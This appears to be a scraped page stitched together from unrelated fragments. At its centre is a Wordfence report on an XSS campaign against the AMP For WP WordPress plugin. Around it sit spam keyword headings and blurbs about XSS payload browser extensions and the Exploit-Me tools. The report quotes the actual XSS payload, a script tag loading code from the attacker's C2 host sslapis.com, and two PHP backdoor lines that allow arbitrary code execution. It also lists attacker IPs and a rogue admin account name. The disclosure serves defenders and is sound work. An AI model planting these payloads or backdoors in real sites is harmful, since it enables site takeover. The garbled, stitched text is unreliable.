This entry was posted in Research, Vulnerabilities, WordPress Security on November 20, 2018 by Mikey Veenstra19 Replies
Firefox doesn't support the X-XSS-Protection header as you can see in this compatibility table. If you want similar protection against reflected XSS as a Firefox user, you can use the NoScript addon.It has an anti-XSS feature that can similarly warn you if it identifies script code in the URL. You should only see the header as a last line of defense that doesn't replace proper output. Nov 23, 2018 About this extension Easy XSs is a simple plugin, which would add a context menu of different xss payloads.when you click on your desired payload, it gets copied to clipboard, now all you have to do is paste it in your desired input tag, or anywhere else.
News broke last week disclosing a number of vulnerabilities in the AMP For WP plugin, installed on over 100,000 WordPress sites. WordPress contributor Sybre Waaijer identified the security issue and confidentially disclosed it to the WordPress plugins team. To exploit the flaw, an attacker needs to have a minimum of subscriber-level access on a vulnerable site.
Xss Me For Firefox Chrome
The Wordfence team has identified an XSS (cross-site scripting) campaign that is actively exploiting this security flaw. In the post below, we describe this sophisticated attack campaign in detail. It is critical that site owners using AMP For WP update to the most recent version of this plugin as soon as possible. At the time of writing, the newest version of AMP For WP is version 0.9.97.20.
The Wordfence firewall has a new rule that defends sites against this exploit. This rule has been released to Premium Wordfence customers and will be available for free customers 30 days after release. In addition, the Wordfence firewall has a generic XSS rule which has been available to free and Premium customers for over 2.5 years, which catches most exploits targeting this vulnerability.
In addition, the Wordfence team released malware signatures into production that detect the malware payloads that are being deposited on servers targeted in this attack. These are currently in production for Wordfence Premium customers.
The rest of this post documents the attack campaign that our team has identified, which is exploiting the recent vulnerability discovered in the AMP For WP plugin. The rest of this post is written for security operations teams, developers, vendors and other network defenders. It describes the attack chain and includes IOCs (indicators of compromise) that can be used to improve security products and harden firewalls and intrusion detection systems against this threat.
A number of individual security flaws were patched in the recent release of the plugin. The crux of the situation is an overall lack of capabilities checks associated with the plugin’s AJAX hooks. A user needs to have an active login session to make the necessary calls to the plugin and it does not matter what permissions that user has been granted on the impacted site.
The code above from
install/index.php
iterates over POST data without any capabilities checks.The active exploits we have identified are leveraging this set of flaws to modify the plugin’s own options stored in the WordPress database.
The most prevalent attacks against this vector attempt to inject the following XSS payload into the victim’s site content with the goal of affecting a logged-in administrator:
<script src=https://sslapis.com/assets/si/stat.js></script>
If an administrator’s browser executes the malicious JavaScript, it will source a larger payload from its command and control (C2) server at
sslapis.com
. This script, stat.js
, contains a number of notable features.The
SendData()
function above notifies the C2 server of any actions successfully executed by the malicious JavaScriptOne area of concern is the
processNewUser()
function, which attempts to hijack the affected administrator’s browser session in order to register a new administrator account named supportuuser:The
processNewUser()
function attempts to use a hidden iframe to execute the user registration process.After creating a hidden iframe element on the page being viewed by the affected administrator, the script simulates the process of filling out the New User form. As part of this process it selects the Administrator role and sends a
click()
event to the submit button to create a new user with admin access.In addition to the creation of a rogue administrator account, the script also attempts to inject backdoor code into an affected site’s plugins. This is accomplished similarly to the administrator creation above, with a hidden iframe appended to the page’s content and used to simulate an admin’s interactions with the Plugin areas of the dashboard.
Xss Me For Firefox Youtube
The function defined above is used to inject malicious PHP into a site’s plugins.
The PHP backdoors injected into a site’s plugins are as follows:
@array_diff_ukey(@array((string)@$_REQUEST['vqmode']=>1), @array((string)stripslashes(@$_REQUEST['map'])=>2),@$_REQUEST['bootup']);
@extract($_REQUEST);@die($cdate($adate));
Both of these backdoors are effective ways to allow an attacker to execute arbitrary PHP code on infected sites, even if the rogue administrator account mentioned above is successfully removed.
![Xss Xss](https://avleonov.com/wp-content/uploads/2018/11/xss_firefox_alert.png)
The command and control (C2) server for this campaign is currently located at
sslapis.com
. This host serves the live version of the JavaScript payload described above, as well as a script used to receive data from affected browser sessions. The domain itself was registered on November 2nd with the Ukrainian company ukrnames.com, but the server hosting the domain has been around longer, having been associated with an Apple phishing scam just over a year ago.As you may have noticed from the screenshots above, the JavaScript file hosted on the C2 server contains a number of commented-out lines apparently used during development by the malware’s author to test various functions. Additionally, the JavaScript itself is uncommonly well-formatted as compared to other malware, where “uglified” or otherwise obfuscated code is the norm. This can change at any time because the script is hosted on the adversary’s server.
While attacks targeting this vulnerability are coming from an array of source addresses, a flaw in the execution of these attacks make them easily trackable. It is common for attack platforms to spoof the User-Agent string of a well known browser in an effort to make their traffic blend in with normal browsing activity. In this case however, the User-Agent string contained in these malicious requests is broken:
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv
. Note that in similar User-Agent strings, a version number follows “rv”. This suggests that the attacker intended to rotate or otherwise change the version number in the string programmatically. This broken User-Agent was found in all attacks associated with this adversary.Most Prevalent Attacking IPs
- 181.215.147.23
- 193.112.161.204
- 219.145.170.23
- 192.169.198.104
- 193.112.65.16
- 46.101.156.232
- 193.112.91.155
- 218.92.252.230
- 208.109.53.224
- 41.139.45.78
Xss Me For Firefox Free
Outbound Domains Accessed
- sslapis.com
Associated User-Agents
- Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv
Database Indicators
- The presence of unauthorized accounts in your site’s users table, including but not limited to the following example:
- supportuuser
- The presence of any unintentionally-introduced JavaScript in any wp_options entries associated with the AMP For WP plugin, which contain the string amp in the
option_name
field.
This malware campaign is an example of why a stored XSS vulnerability is a high priority issue. When an attacker is able to run their own JavaScript in the browser of a site’s administrator, there are a variety techniques they can employ to pivot further into a site. While the C2 domain in the case of this attack is very new and has yet to appear on the blacklists used by popular browser plugins like uBlock Origin, administrators of mission-critical sites might consider employing an untrusted-by-default model with browser extensions like NoScript.
We considered a content security policy (CSP) as possible mitigation of this attack, but the attacker could modify the XSS payload to be an inline version of the script loaded from the sslapis C2 server.
As always, the best defense against these attacks is to keep your site’s software up to date. AMP For WP’s security fix was available for nearly two weeks before these attacks began, hopefully placing a hard limit on the exploitable attack surface of this vulnerability.
For sites unable to update, or those which have not updated for any other reason, a rule has been added to the Wordfence firewall preventing these attacks. This rule is already in place on all Premium Wordfence users, and will be released to Free Wordfence users after 30 days. However, most attempts at exploiting this vulnerability happen to trigger a preexisting firewall rule built to block generic XSS payloads, and this rule has been protecting free Wordfence users for over 2.5 years. Our team has also released malware signatures into production to detect the malware being deposited on servers targeted in this attack.
Written by Mikey Veenstra with research assistance from Stephen Rees-Carter, James Yokobosky and Matt Barry.
Exploit-Me is a suite of Firefox web application security testing tools. Exploit-Me tools are designed to be lightweight and easy to use. Instead of using a proxy like many web application testing tools, Exploit-Me integrates directly with Firefox. It currently consists of two tools, one for XSS and one for SQL Injection.
The Exploit-Me series was originally introduced at the SecTor conference in Toronto. The slides for the presentation are available for download [PDF].
Currently in their beta release stage, these open source (GPL v3) FireFox plug-ins search through web applications for vulnerable visible and hidden form fields to perform input validation attacks.
XSS-Me
XSS-Me is the Exploit-Me tool used to test for reflected Cross-Site Scripting (XSS). It does NOT currently test for stored XSS.
Xss Me For Firefox Download
The tool works by submitting your HTML forms and substituting the form value with strings that are representative of an XSS attack.
New macbook pro 13 2020. If the resulting HTML page sets a specific JavaScript value (document.vulnerable=true) then the tool marks the page as vulnerable to the given XSS string.
Xss Me For Firefox Windows 10
The tool does not attempting to compromise the security of the given system. It looks for possible entry points for an attack against the system. There is no port scanning, packet sniffing, password hacking or firewall attacks done by the tool.
SQL Inject-Me
SQL Inject Me is the Exploit-Me tool used to test for SQL Injection vulnerabilities.
The tool work by submitting your HTML forms and substituting the form value with strings that are representative of an SQL Injection attack.
The tool works by sending database escape strings through the form fields. It then looks for database error messages that are output into the rendered HTML of the page.
The tool does not attempting to compromise the security of the given system. It looks for possible entry points for an attack against the system. There is no port scanning, packet sniffing, password hacking or firewall attacks done by the tool.
You can get XSS-Me and SQL Inject-Me here:
Download XSS-Me Now!
Download SQL Inject-Me Now!
Download SQL Inject-Me Now!
Or read more here.